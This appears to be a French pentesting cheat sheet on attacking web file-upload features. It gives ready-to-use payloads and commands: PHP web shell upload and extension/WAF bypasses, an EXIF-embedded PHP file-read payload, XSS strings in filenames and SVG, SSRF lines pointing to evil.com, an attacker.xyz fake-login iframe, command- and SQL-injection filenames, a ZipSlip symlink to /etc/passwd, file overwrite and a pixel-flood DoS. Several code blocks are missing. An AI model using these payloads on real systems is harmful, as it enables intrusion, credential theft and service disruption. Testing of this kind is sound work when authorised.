⏬Upload features
Outils / Ressources
Liste perso: https://github.com/mathis2001/Files-upload
malicious-pdf
malicious-pdf est un outil permettant de generer plusieurs fichiers PDF contenant un canary de votre choix.
Utilisation:
$ python3 malicious-pdf.py https://your-burp-collab.com
Ressource: https://github.com/jonaslejon/malicious-pdf
JS2PDFInjector
JS2PDFInjector est un outil permettant d'injecter facilement du code javascript dans un fichier PDF.
Utilisation:
$ java -jar JS2PDFInjector.jar <PDF FILE> <JS FILE>
Ressource: https://github.com/cornerpirate/JS2PDFInjector
Web Shell upload
L'exécution de code à distance est l'une des attaques les plus intéressantes qui viennent à l'esprit chaque fois qu'il existe une fonctionnalité de téléchargement de fichiers. Il existe plusieurs façons d'exécuter une exécution de code avec des fichiers malveillants, l'une des plus courantes consiste à télécharger un shell et à obtenir un accès supplémentaire.
Simple shell PHP pour RCE:
OOB RCE:
Information disclosure:
Le but est d'essayez de télécharger ce code avec l'extension .php et essayez de localiser et de récupérer le fichier php à partir de l'application. Dans l'url du fichier, vous pouvez ajouter le paramètre 'cmd' avec lequel vous pouvez entrer des commandes.
Bien sûr aujourd'hui il existe énormément de façon de se protéger de ce type d'attaque et tout autant de manières de contourner ces protections.
Contourner les vérifications d'extension
Akamai WAF bypass: cmd.jpg.aspx. (Avec un point au bout)
Il est également possible de changer le type MIME de l'image directement dans la requête http avec burp suite.
Contournement via normalisation
?file===shell.php
Directory traversal
Vous pouvez aussi essayer de changer le nom du fichier uploadé pour du directory traversal.
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Utiliser .htaccess
le fichier .htaccess permet dans les serveurs HTTP Apache de modifier les paramètres de sécurité de ceux-ci. Dans l'exemple ci-dessous, nous allons voir qu'il est parfois possible d'uploader un faux fichier .htaccess contenant des configurations malveillantes dans un contexte de file upload pour permettre d'uploader un fichier .php en utilisant une extension qui ne serait pas blacklisté.
Etapes:
Interception d'une fonction d'upload
Exemple:
Upload du faux fichier .htaccess
Upload du fichier "php" avec l'extension configurée.
Payload dans les données EXIF
On peut utiliser l'outil exiftool pour modifier ces données par exemple.
$ exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" <YOUR-INPUT-IMAGE>.jpg -o secret.php
Site
https://www.metabaseq.com/imagemagick-zero-days/
XSS
Un téléchargement de fichier est une opportunité sérieuse de trouver des XSS vers une application Web.
A tester:
XSS via le nom de fichier
Exemple "><img src=x onerror=alert(document.domain)>.jpg
XSS via les métadonnées
En utilisant exiftool, il est possible de modifier les métadonnées EXIF qui peuvent conduire à une réflexion quelque part :
Exemple:
$ exiftool -Author="><img src=x onerror=alert(document.domain)>image.jpg
XSS via le fichier SVG
Si l'application permet le téléchargement d'une extension de fichier SVG (qui est également un type d'image), un fichier avec le contenu suivant peut être utilisé pour déclencher un XSS :
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
Blind XSS via SVG
XSS via PDF files upload
SSRF
Server-Side Request Forgery est l'une des vulnérabilités de sécurité les plus intéressantes et les plus percutantes. Une fonctionnalité de téléchargement de fichiers qui peut permettre l'utilisation de fichiers tels que des fichiers HTML ou SVG. Il peut s'agir d'une SSRF interne, d'une SSRF de métadonnées cloud ou simplement d'une SSRF externe.
SSRF via nom de fichier
Essayez d'envoyer l'URL en tant que nom de fichier pour obtenir un blind SSRF, par exemple filename=https://evil.com/internal/file . Vous pouvez également essayer de changer type = "fichier" en type = "url" dans une requête.
SSRF via SVG upload
Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :
<svg width="200" heightè="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://target.com/image.jpg" height="200" width="200" /></svg>
SSRF via iframe en html
Essayez de télécharger ce code avec l'extension .html et récupérez le fichier html de l'application pour vérifer:
<html> <body> <iframe src=”http://evil.com" width=”500" height=”500"></iframe> </body> </html>
XXE
Dans fichier SVG
La fonctionnalité de téléchargement de fichiers ouvre la passerelle pour les entités externes XML, en particulier lorsque l'application accepte les formats de fichiers prenant en charge XML. Le format SVG utilisant XML, un attaquant peut soumettre une image SVG illicite et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.
Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :
Dans fichiers PPTX, DOCX, XLXS
Dézipper le fichier
Mettre le payload dans
/word/document.xml
,/ppt/presentation.xml
ou/xl/workbook.xml
suivant le type de fichier.Rezipper le fichier (exemple:
$ zip -r document.docx
)
Payload
SVG => HTMLi => ATO
Fichier SVG:
Créer une iframe intégrant https://attacker.xyz/fakelogin.html
PoC page de connexion fakelogin.html:
CSRF
Cross-Site Request Forgery (CSRF) est une attaque qui oblige les utilisateurs authentifiés à soumettre une requête à une application Web contre laquelle ils sont actuellement authentifiés. Il est possible d'effectuer des attaques CSRF sur les fonctionnalité de téléchargement de fichiers en créant un formulaire HTML.
étapes:
Capturer la demande de formulaire de téléchargement
Créer un POC avec Burp CSRF POC
Ouvrir ce fichier HTML POC dans un compte différent lui même dans un navigateur différent
Voir si le téléchargement du fichier réussit dans un autre compte.
Fuite de métadonnées Exif
Cela se produit lorsqu'un utilisateur télécharge une image dans le site cible et que les données de métadonnées EXIF de l'image téléchargée ne sont pas supprimées. En conséquence, n'importe qui peut obtenir des informations sensibles sur les utilisateurs du site comme leur géolocalisation, les informations sur leur appareil comme le nom de l'appareil, la version, la version du logiciel et du logiciel utilisé, etc.
étapes:
Uploader une image sur le site cible.
Télécharger l'image uploadé.
Vérifier si les métadonnées sont supprimés ou non avec exiftool ou le site https://aperisolve.fr/.
Open redirect via SVG upload
possibilité de créer une charge utile qui redirige les utilisateurs vers un domaine contrôlé par l'attaquant.
même payload que pour SSRF.
Exploitation avec le nom de fichier
Voici quelques vulnérabilités qui peuvent être exploitées en changeant le nom du fichier. C'est facile à tester et cela vaut la peine de les tester. Vous pouvez changer le nom du fichier en nom suivant pour obtenir les bug respectifs.
Path traversal: ../../../tmp/test.png
Injection SQL: sleep(10) — -.jpg
OS injection: ;sleep 10;.jpg
DoS: renomer le nom du fichier avec un pattern très long
ZipSlip attack
Une archive peut contenir un lien symbolique. Un lien symbolique est un fichier spécial lié à un autre fichier. En téléchargeant un zip contenant un lien symbolique, et une fois le zip extrait, vous pouvez accéder au lien symbolique pour accéder aux fichiers auxquels vous ne devriez pas avoir accès. Pour ce faire, vous devez faire en sorte que votre lien symbolique pointe vers des fichiers en dehors de la racine Web, par exemple /etc/passwd.
Ces types de problèmes surviennent généralement lorsqu'un développeur autorise l'acceptation d'un fichier zip dans notre fonctionnalité de téléchargement. Lorsqu'un utilisateur télécharge le fichier zip dans l'application, il prend simplement le fichier zip et extrait ses fichiers sans aucune validation.
étapes:
Créer un lien symbolique vers la ressource souhaité
Exemple: $ ln -s ../../../etc/passwd lien.txt
Créer un zip avec le lien symbolique créé
$ zip --symlinks exploit.zip lien.txt
Uploader le fichier exploit.zip sur le cite cible et l'ouvrir.
File Overwrite
L'écrasement de fichier est une attaque intéressante lors du téléchargement du fichier lorsqu'un utilisateur peut contrôler et définir arbitrairement le chemin où le fichier doit être stocké. Cela peut être considéré comme similaire aux attaques Zip Slip et Path Traversal, mais en supposant qu'il est possible de télécharger directement un fichier et de modifier son chemin pour écraser un fichier système existant, cela reste un problème distinct.
étapes:
Créez n'importe quel fichier système tel que /etc/passwd.
Accédez à la fonctionnalité de téléchargement de fichier et uploader ce fichier tout en capturant la demande avec Burp Suite.
Modifiez maintenant cette requête en modifiant le paramètre de nom de fichier en ../../../../etc/passwd.
Si le téléchargement réussit, actualisez l'application et observez s'il y a un mauvais comportement ou un plantage pour confirmer la vulnérabilité.
Windows ADS
Un flux de données alternatif (ADS) est une fonctionnalité peu connue du système de fichiers NTFS. Il a la capacité de forker des données dans un fichier existant sans changer sa taille de fichier ou sa fonctionnalité. En d'autres termes, ADS permet de cacher un fichier dans un autre.
Exemple:
Pixel Flood Attack (DoS)
Aller sur https://www.resizepixel.com/ et redimensionnez une image en 64250*64250px.
Accédez à l'application vulnérable ayant la possibilité de télécharger un fichier image.
Téléchargez le fichier généré à partir de "l'étape 1" et observez la réponse du serveur.
Si le serveur met trop de temps à répondre ou si l'application est devenue inaccessible, confirmez avec un autre appareil, si le problème de décalage/accessibilité se produit, l'application est vulnérable à l'attaque par inondation de pixels.
Tenter de contourner la validation via une race condition.
Dernière mise à jour